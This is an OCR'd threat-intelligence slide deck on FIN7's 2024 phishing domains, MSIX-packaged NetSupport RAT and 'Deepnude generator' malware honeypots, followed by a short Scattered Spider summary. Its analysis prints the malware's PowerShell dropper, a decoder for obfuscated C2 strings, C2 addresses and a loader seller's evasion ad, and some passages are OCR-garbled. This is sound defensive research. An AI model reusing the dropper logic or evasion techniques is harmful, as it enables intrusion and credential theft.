

### HUNTING FIN7 MALWARE HONEYPOTS NEW AI DEEPFAKE LURES

192.158.1.38

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Identifying thousands of Fin7 domains used to target a wide range of industries with spear-phishing emails, malware and phishing kits.

192.158.1.38

October 2024

192.158.1.38

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### AGENDA

- Overview
- Attack Methodology
- Targets
- 2024 Infrastructure
- NetSupport RAT packaged in MSIX Malware
- Al "Deepnude Generator" Honeypot
- Al Deepfake Malware Analysis
- Hunting Summary
- Sources
- Q&A

geting h .MSIX [.]info



### **FIN7 OVERVIEW**

Other aliases:

Sangria Tempest, ATK32, Carbon Spider, Coreid, ELBRUS, G0008, G0046, and GOLD NIAGARA

- Financially motivated threat group with ties to Russia
- Sophisticated attacks since at least 2013
- 3 Leaders Arrested / in Jail in U.S. since 2023
- FIN7 targets US-based retail, hospitality, tech, consulting, financial services, medical equipment, media, transportation, and utilities industries
- Fin7 also targeting global brands in 2024
- In 2021, more than 70 people were members of Fin7 organized into business units and teams

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### FIN7 ATTACK METHODOLOGY

- Create thousands of "corporate shell" websites targeting most industries
  - Used for corporate spear phishing attacks
    - Emails and sometimes phone calls used to direct employees towards phishing sites
  - Orchestrate some shells to redirect to real phishing sites
  - Turn some shells into malware delivery infrastructure

### **Attacker Goals**

- Steal credit card numbers for resale on the dark web
- Steal credentials connected to accounts
  - Financial accounts targeted (Banks, Financial Orgs, and Crypto)
  - Social media / advertising accounts targeted (used to launch malverCompromise organizations and individuals withtising campaigns)
  - Corporate accounts that could lead to ransomware deployments
- Malware
  - Move laterally towards more valuable targets
  - Deploy ransomware

### FIN7 TARGETS

### • Since 2013 – 100's of companies have been attacked

- Colonial Pipeline attack was Fin7
- Bastion Secure + Combi Security used to quietly recruit technical employees
- FIN7 breached Red Robin, Chili's, Arby's, Burgerville, Omni Hotels and Saks Fifth Avenue.
- All Munster Technological University campuses in Cork, Ireland closed after ransomware attack

### • 2023

- May 2023 : Three members of Fin7 found guilty / incarcerated, ~65+ members not in jail
- MSFT reports: Clop ransomware deployed in April 2023, the first ransomware since late 2021
  - Previous ransomware deployed via REvil, Maze, Darkside and Blackmatter
- Blackberry: Late 2023, FIN7 targeted a large automotive manufacturer with Anunak backdoor

### FIN7 TARGETS 2015-2020

"To date, we suspect 17 additional UNCs of being affiliated with FIN7 with varying levels of confidence; however, those groups have not been formally merged into FIN7. Those groups' activity spans as far back as 2015 and as recently as late 2021, across 36 separate intrusions. Eight previously suspected FIN7 UNC groups, active since 2020, have recently been merged into FIN7, confirming the resilience of actors associated with the threat group."

- Mandiant / Google, April 2022



### 2024 FIN7 TARGETS – DOZENS OF ORGS

### Orgs targeted Spring/Summer 2024 includes:

Reuters (and WestLaw), Microsoft 365, Midjourney, CNN, Quickbooks, Grammarly, Airtable, Webex, Lexis Nexis, Bloomberg, Quicken, Cisco (Webex), Zoom, Investing[.]com, SAP Concur, Google, Android Developer, Asana, Workable, SAP (Ariba), Microsoft (Sharepoint), RedFin, Manulife Insurance, Regions Bank Onepass, American Express, Twitter, Costco, DropBox, Netflix, Paycor, Harvard, Affinity Energy, RuPay, Goto[.]com, Bitwarden, and Trezor

### Crypto phishing kit targeting:

Coinbase, Metamask, Rainbow Crypto Wallet, Ronin Wallet, OKX Wallet, Trust Wallet, Exodus, Phantom, and WalletConnect.



### FIN7 2024 – LOUVRE MUSEUM

Another example targeting visitors to the Louvre Museum in the run-up to the 2024 Paris Olympics.

louvre-event[.]com redirects to the phishing page book.louvre-ticketing[.]com

In another campaign, paris-journey[.]com redirects to louvrebil[.]click, which redirects users to paybx[.]world to "collect payment" for tickets



### FIN7 2024 – FB BUSINESS MANAGER

### https://miidjourney.net

Miidjourney: Revolutionizing Art with Custom Illustration ...

This unique service allows users to generate one-of-a-kind works of art, using our advanced Al system that understands and interprets artistic prompts and ...

Mildjourney.net https://mildjourney.net > privacy\_read

### Privacy Policy - Miidjourney

We process your information to provide, improve, and administer our Services, communicate with you, for security and fraud prevention, and to comply with law.

Mildjourney.net https://mildjourney.net > Mildjourney-pioneering-photor...

Pioneering Photorealistic Scene Creation with AI Technology This revolutionary function empowers users to transform textual descriptions into stunningly realistic images. Aimed particularly at professionals in ...

Midjourney.net https://miidjourney.net > Miidjourney-revolutionizing-fa...

Revolutionizing Fashion Design with AI-Driven Visualization

Mildjourney is proud to unveil its cutting-edge service in the realm of fashion: Fashion Design and Conceptualization. This innovative Al-driven tool is crafted ...

Mildjourney.net https://mildjourney.net > Mildjourney-transforming-educ...

Transforming Education with AI-Driven Illustrations and ... This service is specifically designed to enhance learning experiences by providing visually compelling and accurate teaching materials. Through detailed ...



miidjourney[.]net shifted from being a fake corporate fashion website, then turned into a Facebook Business Manager phishing site



Silent Push Inc. ©2024

### FIN7 2024 – CYBERSECURITY FRONTS



FIN7 members were previously indicted for creating two cybersecurity "front companies" used to recruit technical support, "Combi Security" and "Bastion Secure" – currently Fin7 has a similar scheme via cybercloudsec[.]com

Thousands of domains with a huge diversity in TLDs used – 68 total

### Top TLDs:

- 1. .com
- 2. .online
- 3. .buzz
- 4. .website
- 5. .xyz
- 6. .org
- 7. .shop
- 8. .net
- 9. .app
- 10. .store



Top 10 TLDs with the highest number of indicators



Thousands of domains hosted across 90 total ASNs

### Top AS ranges:

- 1. Hostinger International Lithuania
- 2. Cloudflare
- 3. STERLY Turkey
- 4. PARTNER-AS Russia
- 5. ELITETEAM Seychelles (AS referenced in the Panama Papers & Offshore Leaks)
- 6. NAMECHEAP
- 7. PROSPERO-AS Russia
- 8. AS262254 DDOSguard? Stark Industries?
- 9. EVILEMPIRE "U.K."

... and Stark Industries / PQ Hosting (most infrastructure taken down here now)





Most IPs used to conduct Fin7 attacks are in the United States, followed by Germany.





Thousands of domains registered via numerous registrars....

### Top Registrars:

- 1. Namecheap 421 observables
- 2. Godaddy 372 observables
- 3. NameSilo 185 observables
- 4. Hostinger 128 observables
- 5. TUCOWS 86 observables
- 6. PDR Ltd 73 observables
- 7. Dynadot 67 observables
- 8. Eranet International 60 observables
- 9. Dynadot 57 observables



Thousands of domains registered – live sites using numerous unique Nameservers, some via western hosts...

Top Nameservers:

- 1. DNS-parking[.]com
- 2. Dreamhost[.]com
- 3. Cloudflare[.]com
- 4. DigitalOcean[.]com
- 5. \*numerous\* others



### DIVERSITY OF FIN7 DOMAINS

### Example IOFAs:

90snirvana[.]com a2zbrand[.]com aanshjha[.]com a-asana[.]com accessiblelab[.]com accessiq[.]us accounite-batelco[.]shop adkmovies[.]com advanced-ip-scanner[.]cfd advanced-ip-scanner[.]link advancedipscannerapp[.]com advertisefirefighter[.]online advisea[.]org aerodromen[.]finance affInIty[.]com afInIticu[.]com agreementunlawful[.]cloud ai-haiper[.]homes aimp[.]xyz akatsukicenter[.]com alanyafirmabul[.]com alffms[.]com

alopeciahairtransplant[.]com amandagaber[.]com amanpanwar[.]com androiddeveloperconsole[.]com any-connectcisco[.]com anzzahg[.]com apenf[.]xyz apkmodgem[.]com app-en-us[.]top appgreydboss[.]org app-scrol-bridge[.]xyz pixelcyberzone[.]com

pixelfusionfg[.]online pixelvirtualzone[.]com pjantom[.]app pjhantom[.]app plaindependence[.]site platform-al[.]com playbest[.]online playgamestop[.]online plottervideo[.]com plus-antivirus[.]info polygogo[.]com

### NetSupport Rat

In 2024, Fin7 has been launching malvertising attacks that attempt to delivery Netsupport RAT packaged in .MSIX files.

Silent Push analysts picked up campaigns targeting a variety of brands, including the SAP Concur, Microsoft, Thomson Reuters, Finviz and more...





## NetSupport Rat



In 2024, Fin7 has been launching malvertising attacks that attempt to delivery .MSIX malware. Silent Push analysts picked up campaigns targeting a variety of brands, including the SAP Concur, Microsoft, Thomson Reuters, Finviz and more...

## **NetSupport Rat Analysis**

After retrieving a sample of Fin7's malware, LexisNexis.msix in this case, our team of analysts took a closer look at its operations and have provided the following breakdown:

- Type: Zip archive file
- MD5: ff25441b7631d64afefdb818cfcceec7
- Compression: Deflate
- To masquerade as a trusted executable, the malware has appropriated certificate data from what appears to be a Chinese manufacturing company, "Cangzhou Chenyue Electronic Technology"

<Identity Name="LexisNexis" Publisher="CN="Cangzhou Chenyue Electronic Technology Co., Ltd.", O="Cangzhou Chenyue Electronic Technology Co., Ltd.", L=Cangzhou, S=Hebei, C=CN, SERIALNUMBER=91130922MA0G8AN920, OID.1.3.6.1.4.1.311.60.2.1.1=Cangzhou, OID.1.3.6.1.4.1.311.60.2.1.2=Hebei, OID.1.3.6.1.4.1.311.60.2.1.3=CN, OID.2.5.4.15=Private Organization" Version="4.12.98.0" />

### The malware has the following embedded configuration:

{
"applications": [
{
"id": "NOTEPAD",
"executable": "VFS \ProgramFilesX64 \PsfRunDll64.exe",
"scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
"startScript": {
"waitForScriptToFinish": false,
"runOnce": false,
"showWindow": false,
"scriptPath": "fix.ps1"
3
}
3

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## **NetSupport Rat Analysis**

### **Delivery chain**

Analyzing the attack chain, it's clear that the malware is designed to target domain-joined machines, and all the corporate data they have to offer. From there the malware seeks to obtain elevated privileges, including lateral movement and access to Active Directory.

- The attack starts when the script opens the LexisNexis website, either as a distraction or to mimic legitimate user activity.
- The malware then checks to see if the machine is part of a domain, or in a workgroup.
- If the machine is not in a workgroup, the script extracts two encrypted 7-Zip archives (password: 1234567890) and runs an executable, NetSupport RAT

Extracted package

- Type: Remote Access Trojan
- Name: NetSupport RAT
- C2 infrastructure: 166.88.159[.]37
- Licensee: MGJFFRT466

With the executing script, <b>fix.ps1</b> :
<pre>\$url = "https://www.lexisnexis.com/" Start-Process \$url</pre>
<pre>\$domain = Get-WmiObject Win32_ComputerSystem   Select-Object -ExpandProperty Domain</pre>
<pre>if (\$domain -eq "WORKGROUP") { } else {     cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e VFS\ProgramFilesX64\client2.7z -oC:\Users\Public\Client - p1234567890"     cmd /c "VFS\ProgramFilesX64\7z2404-extra\7za.exe e C:\Users\Public\Client\client1.7z -oC:\Users\Public\Client - p1234567890"     \$path = "C:\Users\Public\Client\client32.exe" </pre>
<pre>Start-Process spath }</pre>



FIN7 is hosting multiple honeypots that serve malware via a new "Deepnude Generator" under the brand "aiNude.ai"

> easynude[.]website ai-nude[.]cloud ai-nude[.]click ai-nude[.]pro nude-ai[.]pro ai-nude[.]adult ainude[.]site



The AI Deepfake Honeypots are built on top of "shell websites" used by Fin7 for aging domains.

These files / pages expose the original shell content:

/ReturnPolicy.html /personal-data.html /membership-terms.html /cookie-usage.html /contentDisclaimer.html /deliveryDetails.html



i view-source:https://www.easynude.website

ine wrap 🗌 <!DOCTYPE html> <html lang="en"> <head> <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1\*new Date(); for (var j = 0; j < document.scripts.length; j++) {if (document.scripts[j].src === r) { return; }}</pre> k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym"); ym(97738121, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/97738121" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <script> !function(f,b,e,v,n,t,s) {if(f.fbq)return;n=f.fbq=function(){n.callMethod? n.callMethod.apply(n,arguments):n.queue.push(arguments)}; if(!f. fbg)f. fbg=n;n.push=n;n.loaded=!0;n.version='2.0'; n.queue=[];t=b.createElement(e);t.async=!0; t.src=v;s=b.getElementsByTagName(e)[0]; s.parentNode.insertBefore(t,s)}(window, document,'script', 'https://connect.facebook.net/en US/fbevents.js'); fbq('init', '1458267561744491'); fbq('track', 'PageView'); </script> <noscript><img height="1" width="1" style="display:none"</pre> src="https://www.facebook.com/tr?id=1458267561744491&ev=PageView&noscript=1" /></noscript> <meta charset="utf-8" />

The AI Deepfake Honeypots include JavaScript from the Facebook Audience Network and Yandex Analytics...

No Facebook ads have been found... yet...

The AI Deepfake Honeypots redirect users who click "Free download" to a new domain which features a Dropbox link, or another source hosting the malicious payload.

Hundreds of these "File is ready for download..." websites can be found via this Silent Push Web Scanner query:

body\_analysis.js\_sha256 = ["const link = 'https: a199aafa54bdca659fe2d2159cca1ea255 136581daf6804b62d9e44c0794afb2"] AND htmltitle = "Download File"



The AI Deepfake Honeypots all have a footer link for "Best Porn Sites" which redirect users to aipornsites[.]ai

This website promotes a domain "ainude[.]ai" which is currently down, but appears to be the same site template used on the FIN7 honeypots.

Is FIN7 using SEO tactics to get their honeypots ranked on search?

		AlPom <mark>Sites</mark> TOP Lists - 1	Full Reviews	
		AINude.ai: More Than Just an Tool Jan 16, 2024 in DeepMude	AI Deepnude	
Al Honeypot Fo aipornsites[.]ai whi Deepnude N	ooter links to ich promotes "Al Nudifiers"	Ainude.ai		
	13. Can I explore different nu	The best AI nucle maker that undresses any photo using AI. We have a set of the set of t	Citer Your Prompt	
	14. Are the Al deepnude imag			
	15. Are the AI generated nud	Annotes an a an an or note make anowing you to transcrim your images by editing with fact. You can easily add, remove, manipulate, and alter any part of the images in any way you imagine.	Total score: 8.4 Prieing: 7.5	
	16. Do I need an account to g	Table of Contents ■•	Generating speed: 9 User experience: 8	
	17. How many Al nude art images can l o	edit each day?		+
	18. Are Al nude generators ethical?			+
	19. Can others see my deepnude generat	tions?		+
	20. How is my personal information han	dled on AlNude.Al?		+
ooter link for "Best Porn	ı Sites"			
	Ainude.ai	Community 🖷	Best Porn Sites. Terms of service Privacy policy	English •

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### AI DEEPFAKE MALWARE ANALYSIS

The Deepnude Generator .EXE is available for download on some FIN7 sites directly on the homepage.

This malware employs sophisticated techniques, including the use of multiple packers, embedding malware in Pascal code, and leveraging Java-based launchers to evade detection.





The Deepnude Generator .EXE uses "Inno Setup" for the initial payload packing.

InnoSetup has an embedded Pascal interpreter that parses and interprets the Pascal code to provide instructions for the installer. Additionally, the PE-ID packer detector verifies the embedded library but falsely detects the packer as Borland Delphi.

Weid vo.9	95		-	-	×
File: C:\Us	ers\Administrator	\Desktop\Ai Nude.e	exe		
Entrypoint:	00016478	E	EP Section:	.itext	>
File Offset:	00014C78	F	First Bytes:	55,8B,EC,83	>
Linker Info:	2.25	S	Subsystem:	Win32 GUI	>
Borland Delphi 6.0 - 7.0 [Overlay]					
Multi Scan Task Viewer Options About Exit				it	
Stay on top				->	



Some of the features being used within this initial "Inno Setup" payload includes:

- Connects to remote servers
- Heavy string obfuscation
- Virtual environment detections
- Execution control

- Network Communication: The malware utilizes multiple external procedures (idpAddFile, idpDownloadFile) that connect to remote servers, indicating its ability to download additional malicious payloads or communicate with command-and-control servers.
- **String Obfuscation**: The malware heavily obfuscates strings using ROTN (character rotation) and REVERSE functions to hide URLs, file paths, and key components. This suggests attempts to bypass static detection mechanisms.
- Environment Detection: The code contains routines like ISAPPRUNNING() and VIRTUALWORLD() to check if it's being run in a virtual environment, ensuring that it only executes on legitimate systems and avoids sandbox detection.
- **Execution Control**: The malware controls its execution by mutex creation (CreateMutexA) to ensure that only one instance of the malware runs at a time, preventing interference from multiple infections.

 Execution Control. The malware controls its execution by mutex creation ( createflatexA ) to ensure that only one instance of the malware runs at a time, preventing interference from multiple infections.

The "Inno Setup" strings are encoded using a custom algorithm.

Extracting all encoded strings from the code and decoding them using Python gives us a clear picture of the execution flow.

<pre>ef ROTN(arg0: str, arg1: int) -&gt; str: result = ''</pre>		
<pre>for char in arg0: if 'A' &lt;= char &lt;= 'Z': result += chr((ord(char) - c elif 'a' &lt;= char &lt;= 'Z': result += chr((ord(char) - c else: result += char</pre>	rd('A'	) + arg1) % 26 + ord('A')) ) + arg1) % 26 + ord('a'))
return result	-	
recurre result	1	
ef ROTD(arg0: str, arg1: int) -> str:	2	<pre>rotd_strings = [</pre>
V_2 = -12	3	"mfmprdqbet", # Passed in PICADOR function
v_3 = arg0	4	"15249898699116567/eqxuradb/yao.kfuzgyyaoymqfe//:ebfft", # Passed in CURSTEPCHANGED func
result = ROTN(v_3, v_2)	5	"fjf.12\\", # Passed in CURSTEPCHANGED function
recurit result	6	"pyo.12\\", # Passed in CURSTEPCHANGED function
ef REVERSE(s: str) -> str:	7	"bul.58\\", # Passed in CURSTEPCHANGED function
<pre>return s[::-1]</pre>	8	"bul.558\\", # Passed in CURSTEPCHANGED function
	9	"pyo.4554\\", # Passed in CURSTEPCHANGED function
	10	"522/522/xmgzmy/",# Passed in CURSTEPCHANGED function
	11	"kKPA30LXOkHvdTrG+/qy.f//:ebfft", # Passed in CURSTEPCHANGED function
	12	"522/522/xmgzmy/" # Another occurrence in CURSTEPCHANGED function
	13	]
	14	
	15	<pre>for str_ in rotd_strings:</pre>
	16	v_3 = 0
	17	$v_2 = ROTD(str_, v_3)$
	18	$v_1 = REVERSE(v_2)$
	19	
	20	<pre>print(v_1)</pre>
	21	

Execution flow includes a string for a SteamCommunity[.]com profile...

This feature looks for a substring with "v\_10 := 'i1il';" This is used a placeholder for getting the c2...

The Steam Username includes a Hetzner hosted IP address "49.12.117[.]119"

https://steamcommunity.com/profiles/76561199689894251
\21.txt
\21.cmd
\85.zip
\855.zip
\4554.cmd
/manual/225/225
https://t.me/+UfHrjVyCLZ030DYy
/manual/225/225





Searching Steam for profiles that include "i1il" uncovers other likely C2s from this network...

> 78.47.105[.]28 - Hetzner 159.69.26[.]61 - Hetzner

Previous C2's / Steam profiles found during the research includes: 116.203.15[.]73 - Hetzner 116.203.8[.]165 - Hetzner 116.202.0[.]236 - Hetzner 116.202.5[.]195 - Hetzner 78.47.105[.]28 - Hetzner 78.46.129[.]163 - Hetzner 88.198.89[.]4 - Hetzner 5.75.232[.]183 - Hetzner





lib

## AI DEEPFAKE MALWARE ANALYSIS

The secondary payload was 78.47.101[.]48/manual/225/225.zip

The 225.zip file consists of the Java Virtual Machine and an EXE file, which is written in Launch4j.

Launch4j is an open-source tool designed to wrap Java applications (JAR files) into native Windows executables (EXE files).

225.exe was FIRST detected as D3F@ck Loader by @RussianPand9xx



There is an interesting loader named D3F@ck Loader that first appeared on sale on hacking forums in January 2024. The loader uses JPHP; the latest versions are also "packed" with Inno Setup, and zip archives for Java dependencies are password-protected. The loader has been observed dropping MetaStealer and LummaC2.

225.exe

ire

Samples: virustotal.com/gui/file/84485... virustotal.com/gui/file/701d1...

Yara rules: github.com/RussianPanda95...

feeled Servary 23	
Lowder ZIP EXE + EV VALUE CERTIFICATE	
Clean EXE in 219-EV VISIO CRATIFICATE	
FUO VT	
Any icons & names	
Paging of any original software via your direct link	
SmartScreen M0550W0	
UAC Green	
Bypass Google Chrome	
Bypass Edge P P P P P	
Bypass WinDef	
Protection from VirusTotal	
weight of 40 Mb <	
Trusted UAC	
Repeated tap blocking (optional)	
Ny own servers, domens	
Loss armida a PO for direct insurance 12	
Replacement of your exel/rescript is allowed no more than 1 time per day to	
I see the price 702/day	
Prepayment from 7 days*(4906)	
If the certificate is revolved and the file is no longer trusted, I return the remain	ing one ansate advantation price at the rule of 176/day from the paid remaining week. Price per week: 4056/7 days, file fixed for 3 days, behavior due for nature: 2805(490-210-280), day closes after the first 15 hours of the cur
The name of the copyright holder of the certificate is not selected O	
Over time, detectors may stick ()	
Guarantee only for valid partificate (3)	
Functionality check immediately after issuance (D)	
Conditions may change/I may refuse to work/I do not do free tests	

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Last edited 6:12 PM · Feb 26, 2024 · 10.4K Views



This FIN7 malware campaign appears to have used an additional payload...

The initial secondary payload found on VirusTotal was 170.exe – 7e5d91f73e89a997a7caa6b111bbd0f9 788aa707ebf6b7cbe2ad2c01dffdc15d, which was a Redline credential stealer malware, with the following configuration:

Category	Details
C2	https://pastebin.com/raw/NgsUAPya
Botnet	5637482599
Кеу	Thigging



The FIN7 campaign related to D3F@ck Loader started on August 5, 2024, according to VirusTotal upload dates. The spoofed applications they have targeted includes:

PuTTY Razer Gaming Fortinet VPN a Fortnite Video Game Cheat Zoom Cannon Several other generic applications

Filename	Inferred Organization
putty (1).exe	PuTTY (SSH/Telnet client)
Rz_launcher Setup.zip	Razer Inc. (Gaming hardware/software)
getmydrivers_setup.exe	Driver installation software
Rz_launcher Setup1.zip	Razer Inc. (Gaming hardware/software)
fortinetvpn-x64.exe	Fortinet (VPN software)
LC_Inst_4.1.1	Fortnight Game cheat software
Zoom.exe	Zoom communications
PilotEdit.exe	Pilot edit software
[Canon]Private Library.exe	Cannon



The AI Deepfake Honeypots have a unique version on domains like ai-nude[.]pro which has a "Free trial" link on the homepage...

If clicked, the user is prompted to upload an image...







If you upload any image, you'll be prompted with a "Trial is ready for download" message with a description, "Access scientific materials for personal use only"

The pop-up requires clicking "yes" to the question "The link is for personal use only, do you agree?"

Once done, if you click "Download" you'll be served a zip file...



This other FIN7 payload is a more classic "Lumma Stealer" and uses a DLL side loading technique for execution.

This malware was found to be using two C2s: pang-scrooge-carnage[.]shop thesiszppdsmi[.]shop

7	
	(i) No security vendors flagged this domain as malicious
/ 94	thesiszppdsmi.shop
Score	dga
DETECTION DETAILS	RELATIONS COMMUNITY
19 /94 Community Score -11	19/94 security vendors flagged this domain as malicious
	pang-scrooge-carnage.shop



### HUNTING SUMMARY

- Fin7 is creating thousands of shell websites, likely for aging the domains. Some redirect to new malicious domains, others evolve to end up hosting malicious content directly.
- FIN7 has launched malvertising campaigns targeting major brands with a "Requires Browser Extension" pop-up lure, leading to .MSIX malware.
- FIN7 are hosting honeypots targeted to people searching for "Deepnude AI generators" -- there are at least two versions of these sites with unique malicious payloads.
- The malware found on one of the "Deepnude AI generator" websites connects to a campaign that has targeted several brands. Interesting, a malware-infected "Fortnite cheat" also appears to be part of the campaign.

### SOURCES

- <u>https://www.silentpush.com/blog/fin7/</u>
- <a href="https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/">https://cloud.google.com/blog/topics/threat-intelligence/evolution-of-fin7/</a>
- <u>https://www.esentire.com/blog/fin7-uses-trusted-brands-and-sponsored-google-ads-to-distribute-msix-payloads</u>
- <u>https://blogs.blackberry.com/en/2024/04/fin7-targets-the-united-states-automotive-industry</u>
- https://x.com/RussianPanda9xx/status/1762299597307731999



# Q&A

SILENT PUSH

### SUMMARIZED INTELLIGENCE REPORT

Scattered Spider (A.K.A UNC3944, A.K.A Roasted Octopus)

192.158.1.38

192.158.1.38



October, 2023

TLP: Amber

Scattered Spider (also known as UNC3944, Roasted Octopus and Octo Tempest) are a financially-motivated threat group that has been active since May 2022.

From the outset, the group has focused their efforts on the telecommunications, BPO and entertainments sectors in large-scale infrastructure attacks designed to extract capital. More recently, Silent Push has observed the group pivoting towards attacks in the financial and insurance sectors.

Scattered Spider's modus operandi involves the theft of commercially-sensitive data via sociaal engineering, extortion, ransomware and secondary attacks on an organization's customer base and supply chain operation.

This document contains summarized, unpublished intelligence that explores a new set of Scattered Spider IOFAs (Indicators of Future Attack), gathered from the work of Silent Push Threat Analysts.

For a comprehensive breakdown of the group's activity, please contact your allocated Silent Push representative,



### D TTPS

Since 2022, Scattered Spider has mostly launched attacks from domains registered on Porkbun and Namecheap. When these domains were weaponized, they were primarily hosted on IPs on DIGITALOCEAN (AS14061), AS-CHOOPA(AS20473) and NAMECHEAP-NET(AS22612).

These domains mostly follow the naming pattern (targeted organization)-(keyword) or [keyword)-[targeted organization] on .com, .co, .us, .net, .org and .help TLDs, where the keyword is '2fa', 'att', 'citrix', 'ctx', 'corp', 'duo', 'help', helpdesk', 'a', 'internat', 'join', 'mfa', 'otka', 'onelogin', 'onlinecorp', 'opus', 'pin', 'portat', 'rci', 'rsa', 'schedule', 'servicedesk', 'sso', 'support', 'uid', 'vpn' or a T-mobile/"Wilo typosquat.

Silent Push HTML scanning identified one common image across one of the phishing kits used by Scattered Spider, which allowed for full discovery in a relatively short space of time.

Note: A full list of old and new Scattered Spider domains is included on page 3.

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